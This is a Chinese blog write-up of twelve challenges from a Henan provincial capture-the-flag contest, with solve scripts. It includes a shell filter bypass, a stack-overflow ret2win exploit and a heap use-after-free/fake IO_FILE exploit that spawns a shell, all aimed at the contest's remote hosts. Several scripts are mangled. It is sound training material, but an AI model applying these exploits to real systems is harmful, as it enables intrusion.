河南省第七届金盾信安杯网络安全大赛第二次题解(WriteUp)

ChenFu 发布于 2025-12-27 70 次阅读


AI 摘要

Base64解码、换表密码、Shell绕过、JS混淆与AES解密、SPN爆破与Z3求解——河南省第七届金盾信安杯网络安全大赛WriteUp,揭秘五大题目的核心破解思路与实战脚本。

题目一 签到

操作内容:

ZmxhZ3tmYjI0MzAyNS1kMjA0LTRlZGEtYjNkYy01MGZlZmExMDg5ZmR9

Base64解码得到flag{fb243025-d204-4eda-b3dc-50fefa1089fd}

flag值:

flag{fb243025-d204-4eda-b3dc-50fefa1089fd}

题目二 c1assicalcrypt03asy

操作内容:

经典换表密码,给的图片分别是夏多、跳舞的小人、圣堂武士、https://kryptografie.de/kryptografie/chiffre/futurama.htm,对出来的内容是c1assicalcrypt03asy,直接交就行

flag值:

flag{c1assicalcrypt03asy}

题目三 shell

操作内容:

链接靶机发现是可以执行部分执行的,但是无法正常cat flag

可以直接用ca\t fl\ag做分隔绕过

flag值:

flag{25d6fc62-b293-4c59-8f20-9f16fa9e375d}

题目四 van-you-see

操作内容:

2048找到一个被混淆sojson.v4 两层混淆的js文件,解密之后得到的主要逻辑是配合html的showflag的window.location.href + '/u0cNTzvI5' + 'QprXH.php' 请求u0cNTzvI5QprXH.php获取密文之后根据对应的AES的key iv进行解密,然后就可以拿到flag

如该题使用自己编写的脚本请详细写出,不允许截图

from Crypto.Cipher import AES
import base64
 
encrypted_data =   "OT95wMwexdoLvds7rIFfeth2Dk38aU5Ax5YSQ71aRHCbqkybxngkXreRlhNTaUTS"
 
key = b'1267c0a3849d5bef'
iv  = b'af16d2be89745c30'
 
def decrypt(data_b64):
    try:
        cipher_text =   base64.b64decode(data_b64)
    except:
        try:
            cipher_text =   bytes.fromhex(data_b64)
        except:
            print("无法识别的密文格式")
            return
 
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(cipher_text)
   
    pad_len = decrypted[-1]
    return   decrypted[:-pad_len].decode('utf-8')
 
print("Flag:", decrypt(encrypted_data))from Crypto.Cipher import AES
import base64
 
encrypted_data =   "OT95wMwexdoLvds7rIFfeth2Dk38aU5Ax5YSQ71aRHCbqkybxngkXreRlhNTaUTS"
 
key = b'1267c0a3849d5bef'
iv  = b'af16d2be89745c30'
 
def decrypt(data_b64):
    try:
        cipher_text =   base64.b64decode(data_b64)
    except:
        try:
            cipher_text =   bytes.fromhex(data_b64)
        except:
            print("无法识别的密文格式")
            return
 
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(cipher_text)
   
    pad_len = decrypted[-1]
    return   decrypted[:-pad_len].decode('utf-8')
 
print("Flag:", decrypt(encrypted_data))

flag值:

flag{56a282fd-3855-4692-a6e7-1146690fd4b0}

题目五 CathylinFour++

操作内容:

代码给出一个简单的SPN结构,由于加密系统处理的数据只有65536中可能,可以直接爆破,经过3轮加密,每轮都有Key Sbox Pbox,不过在爆破出来的话会告诉对应的明文,那么只需要计算出最后一顿秘钥K3就可以和mask异或一下发过去就能拿到flag,这里用Z3约束表达式进行计算,先把秘钥干了然后按照刚才说的思路自动求解就可以了(深井base64当flag)

如该题使用自己编写的脚本请详细写出,不允许截图

#!/usr/bin/env   python3
from pwn import *
from z3 import *
 
context.log_level = 'info'
 
class CryptoSolver:
    def __init__(self):
          self.S_BOX = [0xC, 0x5, 0x6, 0xB, 0x9, 0x0, 0xA, 0xD, 0x3, 0xE, 0xF, 0x8,   0x4, 0x7, 0x1, 0x2]
          self.P_MAP = [0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11]
          self.ROUND_KEYS = [0x0F0F, 0x3333, 0x55AA]
          self.solver = Solver()
          self.k_vars = [BitVec(f'k_{i}', 16) for i in range(4)]
 
    def _sbox_sub(self,   block_16bit):
          res_nibbles = []
        for   i in range(4):
              # 提取4位 (nibble)
              nibble = Extract(15 - i*4, 12 - i*4, block_16bit)
              # 构建替换逻辑
              temp = BitVecVal(0, 4)
              for val in range(16):
                  # 使用 Z3 的 If 表达式映射 S 盒
                  temp = If(nibble == val,   BitVecVal(self.S_BOX[val], 4), temp)
              res_nibbles.append(temp)
        return   Concat(*res_nibbles)
 
    def _permute(self,   block_16bit):
          bits = [Extract(15-i, 15-i, block_16bit) for i in range(16)]
          new_bits = [None] * 16
        for   i in range(16):
              target_idx = self.P_MAP[i]
              new_bits[target_idx] = bits[i]
        return   Concat(*new_bits)
 
    def   encrypt_symbolic(self, plain_int):
          """构建加密流程的约束模型"""
          state = BitVecVal(plain_int, 16)
       
        for   r in range(2):
              state = state ^ self.k_vars[r] ^ self.ROUND_KEYS[r]
              state = self._sbox_sub(state)
              state = self._permute(state)
       
          state = state ^ self.k_vars[2] ^ self.ROUND_KEYS[2]
          state = self._sbox_sub(state)
       
          final_cipher = state ^ self.k_vars[3]
        return   final_cipher
 
    def add_pair(self,   p, c):
          self.solver.add(self.encrypt_symbolic(p) == c)
 
    def solve_key(self):
        if   self.solver.check() == sat:
              m = self.solver.model()
              return m[self.k_vars[3]].as_long()
        else:
              return None
 
def main():
    io =   remote(123.57.26.77, 36158)
 
      io.recvuntil(b"mask = ")
    raw_mask =   io.recvline().strip()
    mask =   int(raw_mask, 16)
      log.info(f"Mask captured: {hex(mask)}")
 
    solver_engine   = CryptoSolver()
    test_inputs =   list(range(6))
   
      log.info("Collecting P/C pairs...")
    for pt in   test_inputs:
          io.recvuntil(b"Your input: ")
          io.sendline(hex(pt).encode())
       
          res = io.recvline().decode()
        if   "Output" in res:
              ct_str = res.split("Output: ")[1].strip()
              ct = int(ct_str, 16)
              solver_engine.add_pair(pt, ct)
        else:
              log.warning(f"Unexpected response: {res}")
 
    k3_val =   solver_engine.solve_key()
   
    if   k3_val is not None:
          log.success(f"Key3 found: {hex(k3_val)}")
       
          ans = k3_val ^ mask
          io.sendlineafter(b"Your input: ", b"k")
          io.sendlineafter(b"proof (hex): ", hex(ans).encode())
       
          final_res = io.recvall(timeout=3).decode()
          print("\n" + "="*30)
          print(final_res.strip())
          print("="*30 + "\n")
    else:
          log.error("Unsatisfiable constraints.")
 
    io.close()
 
if __name__ == '__main__':
    main()

flag值:

ZmxhZ3swZDI5NzEyNi1mYTY2LTQ0MjUtYjkxZC1iMTYxYWRjNDM1NzR9

题目六 lowre

操作内容:

这题是自定义VM,逻辑主要在于处理main函数的验证之后调到run_vm_inner里面,能看到字节码处理逻辑,倒着处理数据之后与0x5A进行异或得到真正的指令,然后调到run_ir部分,对应的opcode就是异或校验,由于两边直接抵消,所以不需要管,只需要知道是我们 输入的内容^0xAA 能得到我们想要的数据就可以了,由于是在程序里面生成的,直接动调就能拿到,用pwndbg在run_vm_inner下断点,再rdx拿数据就可以了

如该题使用自己编写的脚本请详细写出,不允许截图

hex_data = "0xcc 0xc6   0xcb 0xcd 0xd1 0x9d 0xcf 0x9e 0x92 0xcb 0x9c 0xc9 0xcb 0x87 0xce 0xcc 0xcb   0x98 0x87 0x9b 0x9b 0xcc 0x9a 0x87 0x93 0xc9 0x98 0x98 0x87 0x99 0x9a 0x9a   0x9f 0x9a 0x9f 0x9d 0x9f 0x9c 0x9b 0x98 0xce 0x87 0x92 0xcf 0x9c 0xcb 0x9e 0x9a   0x92 0xc8 0x87 0xce 0xcc 0xcb 0x98 0x87 0x9b 0x9b 0xcc 0x9a 0x87 0x92 0xc9   0x9b 0x99 0x87 0x99 0x9a 0x9a 0x9f 0x9a 0x9f 0x9d 0x9f 0x9c 0x9b 0x98 0xce   0xd7 0x00"
 
data_list = [int(x, 16) for   x in hex_data.split()]
 
key = 0xAA
result_values = [x ^ key for   x in data_list]
result_chars =   ''.join([chr(x) for x in result_values])
 
print(result_chars)

flag值:

flag{7e48a6ca-dfa2-11f0-9c22-30050575612d-8e6a408b-dfa2-11f0-8c13-30050575612d}

题目七 RSA

操作内容:

Dp泄露模板题

如该题使用自己编写的脚本请详细写出,不允许截图

from Crypto.Util.number import   long_to_bytes
 
n =   93977446509601491411273109183700477792476081212252100588514513996369916050240513858257713585313335366590846240370949831289684059273587772970292476296340120801189466605373324380976699533407970974215875662294283755613133719192114163547130089995306718768119144501566575807133141973499886356493323821201111393199
e = 65537
dp =   4646721143214293575763413674967142339122604220191663048739174575126624610789286103728040064106260338484738571999187838033377907298506299277252376843468857
c =   39842044108169653665655273759299059319749157454557086299529162182474598233474908300467494642550719706800866015430966154461050042032159169236220832726422011654867871818265524075008160875598938671421298968459869843510325230871429349578969045129760472874539862070944657591218420952191065002303403538259250208430
 
for k in range(1, e):
    if (e *   dp - 1) % k == 0:
          p = (e * dp - 1) // k + 1
        if   n % p == 0:
              print(f"Found p: {p}")
              q = n // p
             
              phi = (p - 1) * (q - 1)
              d = pow(e, -1, phi)
              m = pow(c, d, n)
              print(long_to_bytes(m).decode())
              break

flag值:

flag{L34k_0f_Dp_Br34ks_RS4_E4sy}

题目八 signin

操作内容:

很简单的pwn签到题,栈溢出给了64个字符,程序的win函数能直接读取flag.txt然后打印出来,只需要用栈溢出覆盖vuln的返回地址修改成win函数的函数地址然后劫持ret到那里就可以了

如该题使用自己编写的脚本请详细写出,不允许截图

from pwn import *exe = './signin'elf = context.binary = ELF(exe)context.log_level = 'debug'sf = remote('101.200.152.81', 31059)win_addr = elf.symbols['win']log.info(f"Win function address: {hex(win_addr)}")rop = ROP(elf)ret_gadget = rop.find_gadget(['ret'])[0]log.info(f"Ret gadget address: {hex(ret_gadget)}")offset = 72payload = b'A' * offset + p64(ret_gadget) + p64(win_addr)sf.recvuntil(b'Say something to sign in:')sf.sendline(payload)sf.interactive()

flag值:

flag{64be95c6-70e8-47a7-a75c-8fd3f4a30618}

题目九 data

操作内容:

拿到的qemu在Linux中挂载得到一堆word文档和ppt,最后发现项目启动-项目计划.ppt的这个PPT打不开,用bandizip解压出来得到all.zip,然后继续解压拿到一堆二维码,写脚本拼出来,得到一个能扫出来比较正确的二维码

这个二维码扫出来是K5LGIS2TGBIXSVKEJJKVCVJRJBKGW4CZKNDFUSKUIVTTAUSWIJFFC2SWKZLFKWTBK5LGIWSVGFUFKVTKJF4VO3DIIZLFMULZKIYGG6KRKVCXSVLKLJDFKVSGIRLDCVSKKZDHAUCTKZSEUV2GJZMU4222IJLEMZCTKMYFUS2XKVDFOVCVOBFFE2S2JBKWYVSTKBKDAOKQKQYDS===

经过base32->base64得到YWJKD2P2TAMGNJXHVHLH4EPIB5UUFZYWYSXTV22ZXEUT2GG2AA2R6EQQCWUITZOIWIXSX6FATWRKFJYAVMJIF6GRUR======

再用rot13->base32->base64得到flag{4a154507-ba7d-3f79-8739-91533b2bafc7}

如该题使用自己编写的脚本请详细写出,不允许截图

import os
from PIL import Image
import numpy as np
 
def get_edges(img):
    arr =   np.array(img)
    arr = (arr   > 128).astype(int)
    top = arr[0,   :]
    bottom =   arr[-1, :]
    left = arr[:,   0]
    right = arr[:,   -1]
    return   top, bottom, left, right
 
def is_white(edge):
    return   np.all(edge == 1)
 
def edges_match(e1,   e2):
    return   np.array_equal(e1, e2)
 
def solve():
    files = [f for   f in os.listdir('.') if f.endswith('.png')]
    images = {}
    img_data = {}
   
    # Pools
    pools = {
          'TL': [], 'TR': [], 'BL': [], 'BR': [],
          'T': [], 'B': [], 'L': [], 'R': [],
          'I': []
    }
   
      print("Loading images...")
    for f in   files:
          img = Image.open(f).convert('L')
          t, b, l, r = get_edges(img)
          img_data[f] = {'t': t, 'b': b, 'l': l, 'r': r}
       
          wt, wb, wl, wr = is_white(t), is_white(b), is_white(l), is_white(r)
       
        if   wt and wl: pools['TL'].append(f)
        elif   wt and wr: pools['TR'].append(f)
        elif   wb and wl: pools['BL'].append(f)
        elif   wb and wr: pools['BR'].append(f)
        elif   wt: pools['T'].append(f)
        elif   wb: pools['B'].append(f)
        elif   wl: pools['L'].append(f)
        elif   wr: pools['R'].append(f)
        elif   not (wt or wb or wl or wr): pools['I'].append(f)
        else:
              print(f"Unclassified: {f}")
 
    for k,   v in pools.items():
          print(f"{k}: {len(v)}")
   
      print("Computing matches...")
    right_matches   = {f: [] for f in files}
    bottom_matches   = {f: [] for f in files}
   
    for f1 in   files:
        for   f2 in files:
              if f1 == f2: continue
             
              if edges_match(img_data[f1]['r'], img_data[f2]['l']):
                  right_matches[f1].append(f2)
             
              if edges_match(img_data[f1]['b'], img_data[f2]['t']):
                  bottom_matches[f1].append(f2)
    target_types =   [
          'TL', 'T', 'T', 'TR',
          'L',  'I', 'I', 'R',
          'L',  'I', 'I', 'R',
          'BL', 'B', 'B', 'BR'
    ]
   
    solutions = []
   
    used = set()
   
    def solve_4x4(idx,   current_grid, used_in_this_solution):
        ifidx == 16:
              return list(current_grid)
       
          row = idx // 4
          col = idx % 4
       
          required_type = target_types[idx]
          candidates = [c for c in pools[required_type] if c not   in used and c not in used_in_this_solution]
       
          valid_candidates = []
        for   cand in candidates:
              if col > 0:
                  left_neighbor = current_grid[idx-1]
                  if cand not in   right_matches[left_neighbor]:
                      continue
             
              if row > 0:
                  top_neighbor = current_grid[idx-4]
                  if cand not in   bottom_matches[top_neighbor]:
                      continue
             
              valid_candidates.append(cand)
             
        for   cand in valid_candidates:
              res = solve_4x4(idx + 1, current_grid + [cand], used_in_this_solution   | {cand})
              if res:
                  return res
       
        return   None
 
      print("Solving quadrants...")
    quadrants = []
    for i in   range(4):
          sol = solve_4x4(0, [], set())
        if   sol:
              print(f"Found quadrant {i+1}")
              quadrants.append(sol)
              for f in sol:
                  used.add(f)
        else:
              print(f"Failed to find quadrant {i+1}")
              break
             
    if   len(quadrants) == 4:
          print("Found all 4 quadrants!")
          save_result(quadrants)
    else:
          print("Could not solve all.")
 
def save_result(quadrants):
    ordered_quads   = [None] * 4
    def has_finder(filename):
          img = Image.open(filename).convert('L')
        return   img.getpixel((50,50)) == 0
    tile_size =   100
   
    full_img =   Image.new('RGB', (800, 800))
    for i,   quad in enumerate(quadrants):
          q_img = Image.new('RGB', (400, 400))
        for   idx, f in enumerate(quad):
              row = idx // 4
              col = idx % 4
              tile = Image.open(f)
              q_img.paste(tile, (col * tile_size, row * tile_size))
          q_img.save(f'quadrant_{i}.png')
       
      print("Saved quadrant_0.png to quadrant_3.png")
 
if __name__ ==   "__main__":
    solve()

flag值:

flag{4a154507-ba7d-3f79-8739-91533b2bafc7}

题目十 不打CTF或许她还在

操作内容:

不打CTF或许我就不会失去她,只怪当年沉迷CTF不去陪她,后来越来越疏远😭,给了个LIBC的堆题,不能用tcache,那就直接UAF给largebin和IO-FILE,在菜单里面申请多个large chunk然后释放其中一个,这个时候指针会指向main附近

配合给的libc可以直接泄露出来libc基址,然后在用UAF继续写入固定标记给show反推heap起点拿到假IO_FILE,释放一个large chunk进入largebin修改bk_nextsieze之后把下一次malloc的地址写到我们需要的fake IO_FILE地址就可以了,只要满足检查就能直接跳转到system,最后搜libc的/bin/sh就可以了

如该题使用自己编写的脚本请详细写出,不允许截图

from pwn import *
 
context.arch = 'amd64'
context.os   = 'linux'
context.log_level = 'info'
 
sf =   remote("101.200.152.81", 35128)
elf  = ELF('./pwn')
libc = ELF('./libc.so.6')
 
def step(x):
    sf.sendlineafter(b'choice:\n',   str(x).encode())
 
def arg(p):
    sf.sendline(p if isinstance(p, bytes)   else str(p).encode())
 
def feed(p):
    sf.sendafter(b'are your plans for the   date: \n', p)
 
def grab(n=6):
    return u64(sf.recv(n).ljust(8, b'\x00'))
 
def make(i, s):
    step(1)
    arg(i)
    arg(s)
 
def drop(i):
    step(2)
    arg(i)
 
def patch(i, c):
    step(3)
    arg(i)
    feed(c)
 
def peek(i):
    step(4)
    arg(i)
 
for i, sz in   enumerate([0x430, 0x418, 0x440, 0x410]):
    make(i, sz)
 
drop(2)
peek(2)
sf.recvuntil(b'\x7f')
libc_leak =   u64(sf.recv(-1)[-6:].ljust(8, b'\x00'))
libc_base = libc_leak -   0x219ce0 - 0x1000
log.success(f"libc @   {hex(libc_base)}")
 
IO_list = libc_base +   libc.sym['_IO_list_all']
wjump   = libc_base + libc.sym['_IO_wfile_jumps']
syscall = libc_base +   libc.sym['system']
 
make(4, 0x450)
patch(2, b'B'*0x10)
peek(2)
sf.recvuntil(b'B'*0x10)
heap_base = grab() - 0xaf0
log.success(f"heap @   {hex(heap_base)}")
 
drop(0)
patch(2, flat(0, 0,   0,IO_list - 0x20))
 
make(5, 0x450)
make(0, 0x430)
 
arena_ptr = libc_base +   0x21b0e0
patch(2, flat(arena_ptr,   arena_ptr,heap_base + 0xaf0,heap_base + 0xaf0))
make(2, 0x440)
 
fake = heap_base + 0xaf0
cmd  = fake + 0x2a0
lock = heap_base + 0x6c0
wide = fake + 0xe0
chain= wide + 0xe8
 
blocks = [
    (0x00, p64(0)*2),
    (0x10, p64(0) + p64(-1 &   0xffffffffffffffff)),
    (0x28, p64(0)*3 + p64(cmd)),
    (0x50, p64(0)*7),
    (0x88, p64(lock)),
    (0xa0, p64(0)*2 + p64(wide)),
    (0xc8, p64(0)*5),
    (0xf8, p64(wjump)),
    (0x1d8, p64(chain)),
    (0x250, p64(syscall)),
]
 
payload = bytearray(b'\x00'   * 0x300)
for off, data in blocks:
    payload[off:off+len(data)] = data
 
patch(2, bytes(payload))
 
patch(1, b'A'*0x410 +   p32(0xfffff7f5) + b';sh\x00')
 
step(5)
sf.interactive()

flag值:

flag{dd975c31-c7f0-4d14-8799-c4f82846d268}

题目十一 英勇投弹手

操作内容:

压缩包密码是人我吃 CyhUkh8a

逆向core.js拿到对应的密文和逻辑,核心逻辑是如图这一坨,把他重置成一个可以解密的脚本之后写个js脚本就能解出来原文

如该题使用自己编写的脚本请详细写出,不允许截图

function _0x2f3d() {
    const _0x239d05 = [
        '3088265aLnAAu',   '873bf00c57', '25372BhvWzP', '7c3f7bbf99',
        'gFKKr', '821466gZMlek',   '2569812BGsTZj', 'HPqhV',
        '4040648FCWnre',   '76849b468b', '1006744yccwII', '25COywAc',
        '1304166xohEjZ'
    ];
    _0x2f3d = function () { return _0x239d05;   };
    return _0x2f3d();
}
(function (_0x308471, _0x5643fe) {
    const _0x5a606a = _0x2460, _0x33a4a5 =   _0x308471();
    while (!![]) {
        try {
            const   _0x2afb4f = parseInt(_0x5a606a(0x1b3)) / 1 * (-parseInt(_0x5a606a(0x1b7)) /   2) + ...;
            if (_0x2afb4f   === _0x5643fe) break;
            else   _0x33a4a5['push'](_0x33a4a5['shift']());
        } catch (_0x5220d0) {
              _0x33a4a5['push'](_0x33a4a5['shift']());
        }
    }
}(_0x2f3d, 0xc368f));
function _0x2460(_0x111017, _0x5efafa) {
    const _0x2f1f50 = _0x2f3d();
    return _0x2460 = function (_0x2f7d39,   _0x466e46) {
        _0x2f7d39 = _0x2f7d39 -   0x1b3; 
        let _0x2b3801 =   _0x2f1f50[_0x2f7d39];
        return _0x2b3801;
    }, _0x2460(_0x111017, _0x5efafa);
}
const _0x47b80f = _0x2460;
const part1 = _0x47b80f(0x1b6); // '873bf00c57'
const part2 = _0x47b80f(0x1b8); // '7c3f7bbf99'
const part3 = _0x47b80f(0x1be); // '76849b468b'
const flag = part1 + part2 + part3 + 'a3';
 
console.log(flag);

flag值:

flag{873bf00c577c3f7bbf9976849b468ba3}

题目十二 Quantum

操作内容:

双参数噪声16-bit 噪声:0 <= r < 2^16。
public.txt → 得到 (N, e)
ciphertext.txt → 得到 c (获取目标密文)
在 oracle_transcript.txt 中查找 c 对应的 y ( 获取 Oracle 泄露的 y = m + r)
枚举 r = 0 到 65535 (暴力猜测噪声)
计算 m = y - r,验证 m^e mod N == c 找到真实的明文 m
然后编写python代码 执行

如该题使用自己编写的脚本请详细写出,不允许截图

from pathlib import Path
 
def strip_hex_prefix(s: str)   -> str:
    s = s.strip().lower()
    if s.startswith("0x"):
        return s[2:]
    return s
 
def main():
    # === 1. 读取公钥 (N, e) ===
    pub_lines =   Path("public.txt").read_text().strip().splitlines()
    if len(pub_lines) < 2:
        raise ValueError("public.txt 至少需要两行:N 和 e")
   
    N = int(strip_hex_prefix(pub_lines[0]),   16)
    e = int(strip_hex_prefix(pub_lines[1]),   16)
 
    # === 2. 读取目标密文 c ===
    c_hex_raw =   Path("ciphertext.txt").read_text().strip()
    c_hex = strip_hex_prefix(c_hex_raw)
    c = int(c_hex, 16)
 
    # === 3. 在 Oracle transcript 中查找 y ===
    y = None
    transcript_path =   Path("oracle_transcript.txt")
    for line_num, line in   enumerate(transcript_path.read_text().splitlines(), start=1):
        line = line.strip()
        if not line or   line.startswith("#"):
            continue
       
        parts = line.split()
        if len(parts) != 2:
            print(f"警告:跳过 oracle_transcript.txt 第 {line_num} 行(格式错误): {line}")
            continue
       
        a, b = parts
        a_clean = strip_hex_prefix(a)
        if a_clean == c_hex:
            y = int(strip_hex_prefix(b), 16)
            break
 
    if y is None:
        raise RuntimeError("在 oracle_transcript.txt 中未找到与 ciphertext.txt 匹配的条目")
 
    # === 4. 爆破 16-bit 噪声 r ∈ [0, 65535] ===
    print(f"正在爆破 16-bit 噪声 (r ∈ [0,   {1<<16}))...")
    ans_m = None
    ans_r = None
    max_r = 1 << 16  # 65536
 
    for r in range(max_r):
        if r > y:
            continue
        m = y - r
        if pow(m, e, N) == c:
            ans_m = m
            ans_r = r
            break
 
    if ans_m is None:
        raise RuntimeError(f"在 r ∈ [0, {max_r}) 范围内未找到有效明文。建议尝试更大范围(如 20-bit)")
 
    byte_len = max(1, (ans_m.bit_length() +   7) // 8)
    m_bytes = ans_m.to_bytes(byte_len,   "big")
 
    print(f"\n✅ 成功恢复明文!")
    print(f"r = {ans_r}   (0x{ans_r:x})")
    print(f"明文长度: {len(m_bytes)} 字节")
 
    try:
        plain_str =   m_bytes.decode("utf-8")
        print(f"\n--- UTF-8 解码结果 ---")
        print(plain_str)
 
    except UnicodeDecodeError:
        print(f"\n--- 原始字节 (hex) ---")
        print(m_bytes.hex())
        print("\n--- 十六进制预览(每行32字节) ---")
        for i in range(0, len(m_bytes), 32):
            chunk = m_bytes[i:i+32]
            hex_part = "   ".join(f"{b:02x}" for b in chunk)
            ascii_part =   "".join(chr(b) if 32 <= b <= 126 else "." for b in   chunk)
            print(f"{i:04x}:   {hex_part:<48} | {ascii_part}")
 
if __name__ ==   "__main__":
    main()

flag值:

flag{7a94faqe-e0a3-1qf0-8527-30050575612d-983f85d9-e0a3-11f0-88ca}

此作者没有提供个人介绍。
最后更新于 2026-03-09